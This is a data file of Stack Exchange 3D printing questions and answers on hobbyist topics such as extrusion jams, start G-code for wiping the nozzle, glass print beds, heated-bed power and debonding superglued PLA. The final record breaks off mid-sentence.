{"id": "hf_15ffc76afbf2", "question": "<p>Hello I have a Prusa I3 I am currently able to get press fit parts with my current settings. I am using Ramps 1.4 hardware and repetier software and cura as my slicer. I am printing with a .2 mm layer height right now but would like to get a better number such as .1 or .09. When I try to print with say .1mm layer height in the middle of the print the filament stops coming out of the nozzle. However I can still see the gear moving. I have check some sites that I have been using for troubleshooting but I haven't found anything that fixed the problem yet. How or what setting need to be changed in order to print with better resolution?</p>\n", "question_body": "", "answer": "There are no settings that you should need to change. Rather, it seems like you are suffering from another issue that is not directly related to layer height.\nIt is possible that your hotend's heat sink is not being cooled enough, causing heat to migrate up and soften plastic in the heat sink, ultimately jamming it. Depending on your hotend's make, the heat sink should be cooled by a fan that is always on.\nNormally, the plastic being fed into the hotend provides some cooling, but printing at a thinner layer height decreases this effect because less plastic is fed into the hotend per time unit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.169936"}
{"id": "hf_0fff381c3ab7", "question": "<p>I own a delta 3D printer. The problem is that, at the beginning of a print the extruder outputs dirty filament. I want a clean filament flow at the start of my prints!</p>\n\n<p>How can I make the hotend exit the print surface (glass plate) by 10mm, extrude the bad filament and go back to printing again? Can this be done with G-code?</p>\n\n<p>My Z high is 190&nbsp;mm and the glass plate diameter is 120&nbsp;mm. I'm using Marlin + Ramps 1.4. </p>\n\n<p>I'm using Repetier-Host and CuraEngine as Slicer, but I really would like a G-code that can work on multiple environments like Cura and Repetier. I just want to add it to the start G-code and print!</p>\n", "question_body": "", "answer": "A lot of slicers will have a Wipe option. Here are some examples:\nSee\nUnofficial Simplify3D Documentation\n. Go to the section talking about\nWipe Nozzle\n, under the heading\nExtruder Tab\nTwo more ooze-fighting options are Coast at end and Wipe nozzle. Coast turns off the extruder the specified distance before it normally would, to drain what would have oozed as the end of a line. This can help with ooze-induced blobs at the end of lines, but if turned up too high will lead to gaps in your print walls. Changes to this setting will be visible as gaps in the g-code preview.\nWipe has the nozzle retrace over the start of a perimeter line at the\n  end of a perimeter for the specified distance with the extruder off,\n  to leave any ooze behind before proceeding. It is similar to Coast in\n  that it moves the extruder without extruding, but wipe occurs after\n  the end of the line while coast occurs before.\nSlic3r has some sort of coasting. But I think in their docs the option is there:\nSlic3r Manual - Fighting Ooze\nWipe before retract - Moves the nozzle whilst retracting so as to reduce the chances of a blob forming.\nAs you asked for G-Code here you go:\nReprap Forum - Wipe nozzle via GCODE\nExample\n```\n```\n;Sliced at: {day} {date} {time}\n;Basic settings: Layer height: {layer_height} Walls: {wall_thickness} Fill: {fill_density}\n;Print time: {print_time}\n;Filament used: {filament_amount}m {filament_weight}g\n;Filament cost: {filament_cost}\n;M190 S{print_bed_temperature} ;Uncomment to add your own bed temperature line\n;M109 S{print_temperature} ;Uncomment to add your own temperature line\nG21        ;metric values\nG90        ;absolute positioning\nM82        ;set extruder to absolute mode\nM107       ;start with the fan off\nG28 X0 Y0  ;move X/Y to min endstops\nG28 Z0     ;move Z to min endstops\nM117 Auto-level...\nG29        ;auto-level\n;G92 Z-.01 ; Lower = Z Pos, Lift = Z Neg\nM117 Preparing...\nG1 Z10.0 F{travel_speed} ;move the platform down 15mm\nG92 E0                  ;zero the extruded length\nG1 F100 E30              ;extrude 10mm of feed stock\nG92 E0                  ;zero the extruded length again\nG1 F{travel_speed}\n;Put printing message on LCD screen\nM300 S900 P160         ;start beep\nM300 S1000 P160\nM300 S2000 P160\nM0    ;Wait for the user\nM117 Printing...\n```\n```\nLulzbot forum - Start GCODE Script for Wipe\n, in particular\nthis post\n:\nExample\n```\n```\nG91 ; switch to relative positioning\nG1 Z10 ; safe raise of z axis to ensure probe doesn't hit bed clamp\nG90 ; switch back to absolute positioning\nG28 ; home all axes\nG29 ; level print bed\nG1 X298 Y137 Z2 F5000 ; move to wait position right hand side of the table\nG1 Z0.4 ; position nozzle\nG1 E25 F300 ; purge nozzle\nM400 ; wait for purge to complete\nG1 X285 F1200 ; slow wipe\nG1 Z0.5 F1200 ; lift\n```\n```\nThat should get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.195002"}
{"id": "hf_8e1e162ea41d", "question": "<p>I am looking to print an enclosure, which will have a PCB inside with some LED indicators. I was wondering if it is possible to 3D print the enclosure such that the following look can be achieved? What material and technique?</p>\n\n<p>When LEDs are off, it looks something like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/eUN2v.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/eUN2v.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>WHen the LED turns on, it looks like this (illuminated symbols):</p>\n\n<p><a href=\"https://i.stack.imgur.com/X9GuC.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/X9GuC.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Achieving this with 3D printing would be quite difficult, and you might be better served by creating this effect some other way (I would personally recommend getting some inkjet transparencies and stacking a few layers together: an entirely black layer, and a few layers with the symbols in negative space).\nOne way that you\nmight\nbe able to achieve this using just a common FDM printer is to print the part face down, and printing just a single layer or two that covers the entire face, and then printing more layers that cover everything but the symbols. However, those symbols look small and detailed and you might not be able to reproduce such detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.232748"}
{"id": "hf_3d5156867522", "question": "<p>Related to an issue I had in <a href=\"https://3dprinting.stackexchange.com/questions/1205/increased-issues-with-filament-grinding\">this question</a>, where the PTFE tube feeding my filament to the metal tip of the extruder clogged and became discolored: what are the advantages and disadvantages of changing out my extruder (Mk10 on a FlashForge Creator X) for an all-metal solution like the one advertised <a href=\"https://store.micro-swiss.com/products/micro-swiss-mk10-all-metal-hotend-kit\" rel=\"noreferrer\">here (by Micro-Swiss)</a>. </p>\n\n<p>I understand that the conversion would allow me to print higher-temperature materials (like nylon), but I'm also trying to figure out the trade-offs with regard to printing PLA/ABS parts. </p>\n", "question_body": "", "answer": "In general, metal extruder without PTFE feeding is useful when printing with materials that require high temperature to melt: 300\no\nC and above.\nPolycarbonate\nwith recommended printing temperature at up to 310\no\nC is a good example.\nPTFE melting point is around 320\no\nC, but it may become soft at much lower temperatures, according to RepRap wiki:\nhttp://reprap.org/wiki/PTFE\nFrom the other hand, all-metal extruder lacks advantages that PTFE ones can provide, the most important of them is the ability to have longer retracts without risk of clogging the filament tract.\nThis is mostly important for users with Bowden-type extruders as well as for printing with soft or stringy filaments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.257983"}
{"id": "hf_00744634043d", "question": "<p>I'm having a really hard time printing on my aluminum heated bed... Cleaning it just results in it being scratched (trying to scrape dried hairspray/glue/etc off) and I don't think it is particularly flat either.</p>\n\n<p>I was thinking of stopping by the dollar store on my way home and getting several picture frames and using the glass from them as interchangeable glass beds - this would also make it easier to take them off the printer to clean without needing to re-level the bed every time as the aluminum base would stay-put.</p>\n\n<p>Do you guys think the quality of it would be okay to print on? (withstand the heat, be flat enough, etc) I'm planning to coat it in purple-glue-stick as I have heard that works well for adhesion purposes.</p>\n\n<p>For reference: Printing PLA, Prusia i3 printer.</p>\n", "question_body": "", "answer": "Picture frame glass (generally float glass) will work well enough, but count on it eventually cracking/getting chipped. It's always very flat (due to the way the production process works).\nTaking it up to 100-110C for printing ABS should not be a problem, but you'll want to avoid sharp changes in temperature, and should be careful that your prints don't adhere too well: I've had PLA/PETG prints take out pieces of glass with them due to the force required to remove them from the build plate. You might want to try without any (or very little) adhesive first, and make sure your nozzle isn't too close to the build plate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.283927"}
{"id": "hf_b6c55604911e", "question": "<p>When using a heated bed with your printer, I have seen claims of running temperatures of 90c throughout the print.</p>\n\n<p>That seems like a fairly high power use to keep a large slab of, say, aluminium at 90c for long print times (ie multiple hours).</p>\n\n<p>Is there a common 'sweet spot' for operating temperature?</p>\n\n<p>Does it depend on material?</p>\n\n<p>Is a heated bed required?</p>\n", "question_body": "", "answer": "Googling \"what temperature for different filaments\" gives a few good links, but the top link looks golden.\nhttps://filaments.ca/pages/temperature-guide\nThey have temperature guides for both extrusion temperatures and heated bed, as well as suggestions for better adhesion. I'm not that experienced, but their information is similar to information I've seen elsewhere.\nTheir suggestion for PLA is 215-235 degrees Celsius and a bed temperature of 60 to 80 degrees. That sounds a bit hot to me but every brand (and type) of filament will perform best at different temperatures. I've had problem getting nice bridges at 210 degrees, but had excellent results at 190.\nFor ABS they say 230 to 240 degrees with the bed at 80 to 100.\nUse these values as a starting point, when they fail you make an educated guess about what went wrong and adjust (one parameter at a time) til it works for you. Find a calibration object you like and trim the temperatures so it prints the best your printer can. At this point in the technology experimentation is a large part of making things work.\nOne thing that's important to remember is that the temperature that you set your bed to and the temperature that your bed gets to is not the same thing. Depending on the construction, assembly and quality of your heater the actual temperature can differ anything from almost nothing to twenty degrees or more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.308385"}
{"id": "hf_ca8356795ea9", "question": "<p>I have a new German RepRap NEO 3D printer, and when I try heating the Extruder to 215°C with Repetier-Host Mac 1.0.1, it always stops at 130°C - does anybody have an idea what could be the reason?</p>\n", "question_body": "", "answer": "A few possiblitites.\nYou wire is too small. If your wire is HOT that is a fire hazard.\nYour thermistor is bad. Check with a high temp heat probe or try replacing thermistor.\nYour heating element is bad (rare).\nLast it could be a limit in your firmware. But that would surprise me.\nAny chance you have the bed and the hotend reversed? If you had the Bed as Hotend, then it would max out around 100. This last one I would say is most likely..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.333599"}
{"id": "hf_2dcd0ff0edda", "question": "<p>I have a object to print for which I want the base to be printed very rapidly because it's just a cube but as the print reached around 70 % a complex circular structure needs to be printed at a slower speed. Is there any way I could control the speed at the given percentage of job done?</p>\n<p>I want the cube to be printed at 50 mm/s and the complex circular structure at 40 mm/s.</p>\n<p>Printer Type - FDM</p>\n", "question_body": "", "answer": "Simplify3D\nhas the ability to create more than one process, to be applied to the model at specific layers. It appears that feature fits perfectly with your requirements. As an example, you might create a process within S3D for layers 1 to 500 at the desired 50 mm / sec along with any other modifications you wish. The second process would specify layers 501 to 800 to be printed at 40 mm / sec.\nThe preview mode of S3D allows you to identify layer numbers in order to provide the necessary precision.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.370965"}
{"id": "hf_1d8dc7bf150d", "question": "<p>I'm currently attempting to  make a repstrap using paper printed parts, like this guy : <a href=\"http://www.mariolukas.de/2012/05/repstrap-3d-drucker-aus-computerschrott-teil-1/\" rel=\"nofollow noreferrer\">http://www.mariolukas.de/2012/05/repstrap-3d-drucker-aus-computerschrott-teil-1/</a>\nI replaced the DC motor in a paper printer carriage assembly</p>\n\n<p>with a stepper motor (NEMA17). But there was not enough space to fit the axis of the nema 17 at the exact spot of the older DC motor axis, in short, the axis are not in the same place. The question is : if the axis is not in the exact same spot, will it affect the movement of the carriage or not at all ?<a href=\"https://i.stack.imgur.com/8A21q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8A21q.png\" alt=\"new and old belt driven axis\"></a></p>\n\n<p>I supposed it would but i'm not sure since the carriage is limited in movement by the rails and that we still move the belt around.</p>\n", "question_body": "", "answer": "Axis should definitely be at proper position. Otherwise you will get at least 2 issues.\nCarriage will be pulled up which will cause stresses on rollers or slides and it will stress your belt\nThe way the carriage will go will change but because carriage itself is fixed then it will change the speed\n3D printing is a precise process. Both issues will have impact on printouts and all your printouts will have broken dimension in the axis in which carriage moves.\nHave a look on the picture (it is big to show details)\nfig A\nshows a situation where carriage is far from the axis\nIn such situation the distance between vertical line of black cross and pink circle is almost unnoticable so both - the force and the distance (so speed) change are very small.\nfig B\nshows a situation where carriage is relatively close to the axis\nThen both - the force and the distance change is noticable", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.396811"}
{"id": "hf_253c3eeda0f4", "question": "<p>My goal is to 3D print a 5 liter miniature barrel with a side stand, similar to <a href=\"http://rads.stackoverflow.com/amzn/click/B009K5DSJG\" rel=\"noreferrer\">this wooden one on Amazon</a>. I want it to have a removable top so that a boxed wine bladder may be put inside, and there should be a hole on the top as well so that the spigot may stick out and be used. I have no experience with 3D modeling or printing, but I have access to a public 3D printer at my local library. I know you can print parts individually (ex. curved wood-colored sides with staves and holes to interlock and make up the body of the barrel, the metal-colored hoops to go around the barrel). I don't know what software to use, though. I was thinking of starting to learn Blender? Would that be effective for this project? </p>\n", "question_body": "", "answer": "Your question begins in an inappropriate format for StackExchange, but you've ended it with one more appropriate by asking if Blender would work.\nIf you are willing to take the time to learn Blender, you are certain to discover that it will do as you require, and much much more. Your referenced model could be created using engineering-type design software such as Fusion 360 or SolidWorks or many of the free packages, but the free-form aspect is more suited to the flexibility of Blender.\n2020 UPDATE: Fusion 360 now supports a sculpt feature, which combines organic modeling with the engineering-type for which it is previously known.\nEven though Blender is not an engineering-type program, it has internal support for precise modeling. Should you learn to use those features, you get the best of both types of software.\nIf you construct your model in the software in segments/pieces as you suggest, your result will have greater flexibility at the printing stage, specifically with respect to color and filament choices. Instead of wood-colored sides, you can use wood-simulated PLA filament! Depending on the printer at the library, you could also use filamet, a filament containing 88 percent metal for the hoops.\nI use Blender for some aspects of modeling, often importing the STL into Meshmixer to address things I've not yet learned in Blender.\nI hope your reference to 5 liter is the original size and that your model will be a miniature of it. A 3d printer with 5 liter capacity would be a wonderful asset at the public library!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.422855"}
{"id": "hf_f8851158eced", "question": "<p>This came up in one of my groups today. That we could not color bend, or mix 3d printing filaments. I have researched but I am not finding anything talking about Plastic mixing in an extruder.</p>\n\n<p>Why is it that we cannot take say a Diamond hotend, or a hotend with 5+ inputs, and mix any color we want? (assuming all the same type, ABSm, PLA). I think it would be interesting to at the least get a gradient effect on prints.</p>\n\n<p>The best I have seen is natural plastic and a marker system. Or a powder / advanced / out of hobbyist price range process that sprays ink. The only Color Bending I know of is with Recycled plastic that uses multi color. Not quite what I am looking for.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I just started with google and phrase \"3d printing color mixing\" and on the first place (in fact first two were valueless adverts) I got this\nInstructables - DIY Full Color Mixing 3D Printer\n.\nHow it works?\nIt uses magenta / cyan / yellow filaments and mixes it while printing with Diamond hotend.\nIt definitely does what you are asking for and it's exactly the same idea you come up with ;)\nOverview\nGetting the controller board ready for three extruders... I hacked\n  a RAMBo board to drive three extruders, however, you can use any board\n  you want... (most people use a RUMBA due to it having all the\n  pins/components needed for 3 extruders native on the board)\nRewriting Repetier firmware to get color mixing working on your\n  machine.\nHow to install, configure, and use the diamond hotend - tips /\n  tricks / lessons learned / etc...\nMy original Bowden extruder design and various ways to mount the\n  three extruders for your set-up\nMy universal magnetic effector plate and accompanying hotend mounts\n  for quickly swapping various hotends. (delta specific)\nHow to design multi-color models and making STLs that can be\n  exported and used as a individual STLs or combining them into an AMF\n  file for slicing...\nConfiguring color mixing in Repetier and Slic3r to print above\n  mentioned multi-color models.\nAnything else I can think of later that I can't think of now.\nComprehensive overview of Quantum Mechanical Entanglement as it\n  pertains to multi-color printing (just kidding, I don't understand\n  that... But I will cover multi-color printing throughly)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.447755"}
{"id": "hf_7e4b268156bc", "question": "<p>The turntable support part in my microwave has broken. It is a three armed part, with small wheels at the end of each arm. </p>\n\n<p><a href=\"https://i.stack.imgur.com/qza6i.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/qza6i.jpg\" alt=\"support part\"></a></p>\n\n<p>I'm confident I could print a replacement, and reuse the existing wheels (since they can be removed). </p>\n\n<p>The heat of the food would be unlikely to conduct through to the PLA, but I'm concerned that it might get heated up by the microwave radiation. I can't find any clear information online about whether PLA absorbs microwaves, or if it is in any other way unsuitable for this. </p>\n\n<p>Will this be a disaster, or should I give it a go?</p>\n", "question_body": "", "answer": "I would say PLA itself should not be heated up by microwave. It's because microwave oven creates oscilations which excites water particles\n(see microwave explanation here)\nso assuming PLA doesn't contain water, it won't heat up.\n(removed to not mislead as the water is not only material which heats up by microwaves. Thanx to Tom van der Zanden for being vigilant)\nBut as usual, it's more complicated.\nFirst. PLA can contain water as while producing it can be cooled down in water bath. Of course well made PLA will have as less water as possible as water has an influence on printing process.\nSecond. PLA is absorbing humidity so in fact it gets water inside right from the air. This unfortunately causes problems in microwave oven.\nWater can be overheated and oven can overheat water above 100C. But even at 100C, PLA will not be hard anymore so your 3 arm star would \"collapse\". Wheels could get oval or start sticking to their axis.\nEventually if high power is delivered to very \"wet\" PLA, I think it can... well maybe not explode but break.\nHere goes a test which shows it can be used to\ndefrost things on PLA plate in microwave\nBut here Daan Snijders\nclaims PLA gets soft in microwave during the test\nWill it be a disaster?\nIn my opinion it will work only for short uses of MW. Heating up a glass of milk or so. But for longer sessions when there will be much more heat (out of heating dish) it won't work.\nSHORT TEST\n20sec and 950W gives no effect on my sample (hotend cooling fan duct)\n40sec and 950W caused the sample became a bit warm\nInspite that it's not a good idea to run MW without \"proper-absorber\" this little test confirmes my suspisious - short sessions are ok.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.473398"}
{"id": "hf_5e2fe5aea961", "question": "<p>I have printed a MPCNC machine.  It has a print area of about 30\" x 30\" and up to 11\" tall.  (yes, those numbers are correct).</p>\n\n<p>I found a perfect piece of glass at a garage sale for $5.00 to use as my print bed.  </p>\n\n<p>My problem now is how to heat the glass?  I was wondering if there is some sort of tape that would perhaps mimic what is on the rear window of a car, but I couldn't find it anywhere.</p>\n\n<p>Any ideas or links to something that can get me some progress on my search would be greatly appreciated.</p>\n", "question_body": "", "answer": "Your best option may be to seek out a silicone rubber heating mat, using those terms for your web search. A quick search on my part shows many resources, some of which are known to the 3d printing manufacturing world, while others are equally suited for that purpose.\nDon't bond the heater to the glass. You'll need to replace it when it breaks. Consider to use borosilicate glass for better heat tolerance and smaller chance of breakage. A quick search for such a large size pane comes up empty, invalidating that suggestion.\nI've read of some people using water bed heaters for large area coverage, but they may heat the area unevenly.\nIt could be to your advantage to use multiple heater panels with temperature controls for each one. This would provide more uniform heating although more complex temperature management.\nI would post links, but there are so many from which to choose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.517495"}
{"id": "hf_a2c73bccfd33", "question": "<p>I have a Mini Kossel and I am going through calibration.</p>\n\n<p>I can home carriages and find the bed with paper-test getting some Z value with <code>M114</code>. Then I run the effector almost full height <strong>up and then down</strong> - and now <strong>Z value for the bed is greater</strong>!</p>\n\n<p>If I repeat the process I get greater and greater values in paper-test. It seems that travel per step is different moving in different directions.</p>\n\n<p>How can I fix that? I am using RAMPS 1.4 with Marlin firmware.</p>\n\n<p>UPDATE:</p>\n\n<p>Z values near bed after subsequent runs of five passes of <code>G1 X100 G1 X10</code></p>\n\n<pre><code>100% speed: 0.1 0.3 0.5 0.7 1.0\n\n 20% speed: 0.1 0.4 0.9 1.4 4.6 6.6\n\n300% speed: 0.0 0.7 1.0 1.3\n</code></pre>\n", "question_body": "", "answer": "According to discussions in comments, I'm pretty sure the problem lies in too low current.\nPlease review\nthis answer\nto\nHow do you make sure you have the right voltage on the trimpots on a A4988 stepper driver?\n.\nWhy it happens?\nIf there is not enough current then motors can omit some steps as the stress is not equal while going up and down. Sometimes inertia can have higher influence than friction.\nAdditionally because the resistance/stress/friction on towers is different for sure then there are some issues in centering hotend.\nSo friction/inertia/assembly inaccuracy and current settings inaccuracy can cause such effects. If you are \"on the edge\" your printer may work well one day but the other day it can fail positioning.\nPlease refer to post mentioned above. Perform calibration and temperature test (finger test could be ok). I hope you'll manage the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.547169"}
{"id": "hf_14d1eb1273b7", "question": "<p>I have a LARGE piece of glass (36\"x26\") that I will soon be printing on using my newly build MPCNC machine.  It is capable of printing about 34\"x34\"x10\".</p>\n\n<p>Anyway, I have had GREAT success printing on heated glass that is sprayed lightly with hairspray using PLA and being able to EASILY remove my prints after the glass has cooled.  I attribute this to the slight expansion and contraction that occurs when glass is heated and cooled.  This would weaken the cohesion of the PLA print to the glass.</p>\n\n<p>I have another posting where I asked how to heat this LARGE glass bed.  However, there weren't any feasable (inexpensive and easy) solutions to heat the glass.  So, now with cold glass, what are some good strategies for removing large 3d printed objects without breaking them or the glass?</p>\n", "question_body": "", "answer": "Because you will be printing on unheated glass, you will be using some form of adhesive material. If you use an off-the-shelf glue stick, you will likely find it is water soluble. If the bed is removable, immersing it in warm water for a relaxing soak will provide easier model removal.\nI don't have experience with various tapes, so will avoid recommendations regarding masking tapes or similar material.\nThermal cycling will also provide release. Not a heat gun, as that will break the glass, but a hair dryer applied to the underside near the model, then cooling. Repeat until it releases.\nI have used the Fleks3D print plate on my Flux Delta printer in the past, and it releases \"like magic\" but I don't think they make monster sheets of your printer size. I had also purchased a pair of 20\" square Fleks3D plates for a similarly sized printer that never materialized. I'd be happy to sell you the pair, but I think they are too small for your full plate.\nIt has been said that one can use sand-blasted acrylic, which I believe is the construction of the aforementioned Fleks3D plates. If you have access to 1/8\" or 3mm acrylic and can apply a uniform blast of abrasive, you may be able to construct your own easy-release build plate.\nIt is practical to consider to use a raft for your large builds. Rafts are useful for small items, to provide a greater bonding surface and avoid release, but it also provides a \"wedging\" location for your release tool. You can more easily slice away the middle of the raft and deal with a thinner layer after the model is completely freed.\nEDIT ADD: If the bed is not removable, one can build a dam around the model with clay to hold the water for dissolving the glue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.601200"}
{"id": "hf_436dd95ed90f", "question": "<p>I was wondering if anyone could give me tips for designing a 3d printable structure that can \"pinch\" down onto a hockey puck shaped piece and hold it tightly. </p>\n\n<p>I'd like for the structure to normally want to \"pinch\" two edges together, but I can pry/force them open when I shove the hockey puck into it. Once I let go, the two ends are now holding the puck fairly tightly.</p>\n\n<p>My first thought was something like a potato chip bag clip, but that would require a couple pieces and a spring.</p>\n\n<p>Is there a way to do something like this with one solid piece?</p>\n", "question_body": "", "answer": "Here are first 3 the most simplified and generalized options you have:\nAll you need now is to give use more details about your needs. If you reveal more details we could help you to apply (and modify) one of these  options.\nEach of above has its own pros and cons of course. You said you don't want to have spring... so maybe a rubber ;)\nBut in fact whole-red is one-piece-clip in which the force comes from material elesticity or stiffness.\nPlease tell me what is the application of such clip.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.642233"}
{"id": "hf_5e1b9584f6a1", "question": "<p>Good morning everyone,</p>\n\n<p>I am developing a consulting job in a clinic of dental CT scans.</p>\n\n<p>This work involves the development of administrative software, and preparing a routine for conversion of tomographic files in DICOM format to STL format. The files in STL format will be used for both visualization and analysis of 3D models, such as printing in 3D printers.</p>\n\n<p>Our problem is just the conversion DICOM to STL.</p>\n\n<p>Has anyone come across this kind of situation? We did not find any documentation or tool for this purpose in our searches and we are really with a gande urgency in the solution.</p>\n\n<p>Advance grateful for any assistance.</p>\n", "question_body": "", "answer": "there is a nice software to do it, a brazilian one, called Invesalius (\nhttp://svn.softwarepublico.gov.br/trac/invesalius\n). Itksnap is probably a better initial choise, since it is more intuitive (\nhttp://www.itksnap.org/pmwiki/pmwiki.php\n).\nBut anymways, it is not a easy job to do, and probably you will need other softwares to help you clean the mesh, like meshlab or Geomagic.\nGood luck", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.666969"}
{"id": "hf_26aeb337bd86", "question": "<p>I have used cyanoacrylate glue aka superglue to bond PLA. I have created several electronics enclosures. (Definitely the most time-consuming part of the project.)</p>\n\n<p>Now my question is which debonder/solvent can I use to separate the pieces again without destroying the PLA parts?</p>\n\n<p>Wikipedia proposes the following:</p>\n\n<ul>\n<li>nitromethane</li>\n<li>dimethyl sulfoxide,</li>\n<li>methylene chloride,</li>\n<li>gamma-Butyrolactone.</li>\n</ul>\n", "question_body": "", "answer": "Acetone\nAcetone will dissolve cynoacrylate (superglue) and should weaken it enough to be able to separate the parts.\nA readily available cheap source of acetone is nail varnish remover (just make sure you don't buy the acetone free version!).\nGive the pieces a soak in nail varnish remover for 10-20 minutes and they should come apart with some prying.\nAcetone does not dissolve PLA, so the PLA parts should be undamaged. If you were to try this on ABS parts however, they would begin to dissolve.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.716009"}
{"id": "hf_954fa595eed0", "question": "<p>I'm looking for a strong filament that can handle a large tension load and no bending deformation when a perpendicular force is applied to it. Any suggestions?</p>\n", "question_body": "", "answer": "As far as I know, Nylon filaments are among the strongest. I'd look at the technical specs of\nTaulman3D's Filament\n. They're the only nylon I've ever tried, and I know they have in-depth specs of how their filament holds up. I'm sure you can find other providers, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.740685"}
{"id": "hf_f2a41aa23746", "question": "<p>My <a href=\"http://rads.stackoverflow.com/amzn/click/B007KG0ZYI\" rel=\"noreferrer\">12V DC 30A Power Supply 360W Power Supply</a> is really cheap, and it's worked well for setting up the motors; but now that I'm on to the heated bed, which uses considerably more Ampage than that of just the motors, I'll confess, I'm getting frightened to continue using it;  if the summer was a bit longer, maybe it wouldn't bother me, but we're getting into the cold months, and now I'm afraid of ending up using too much ampage just trying to heat the bed in the winter months...(and I don't mean my bed).  Is there anything I should look out for in terms of using the either the cheap power supply I already have, or are there certain specs on a new not-so-cheap power supply that I ought to be using instead?  </p>\n", "question_body": "", "answer": "A MK2 heatbed will draw around 12A. The motors and hotend draw only very little power (around 2A, 5A peak), so the 30A supply you have has significant headroom (it is often recommended to derate a power supply by 20%, so a 30A supply would be good for 24A - you're still well under that). It should work fine, even given its dubious provenance.\nWinter versus summer should not make a big difference. The largest power draw is during the heat up phase. In winter, the bed will use slightly more power to stay warm, but regardless of whether it is summer or winter the peak power draw during heat up will be the same.\nThe cheapness of these supplies tends to be reflected in more output ripple (but for heating the bed and running the motors you don't need a very stable voltage) and improper filtering. This may inject noise back into the mains, possibly affecting other equipment nearby. Should this occur, you can just stop using the power supply. However, in my experience, they can deliver the rated power just fine. They're not completely horrible.\nYour biggest concern should be whether the wires that lead to your heated bed can handle the current and whether the screw terminals are properly tightened. During the first use, you should check that the power supply does not get extremely hot. If it's so hot it's impossible to touch for more 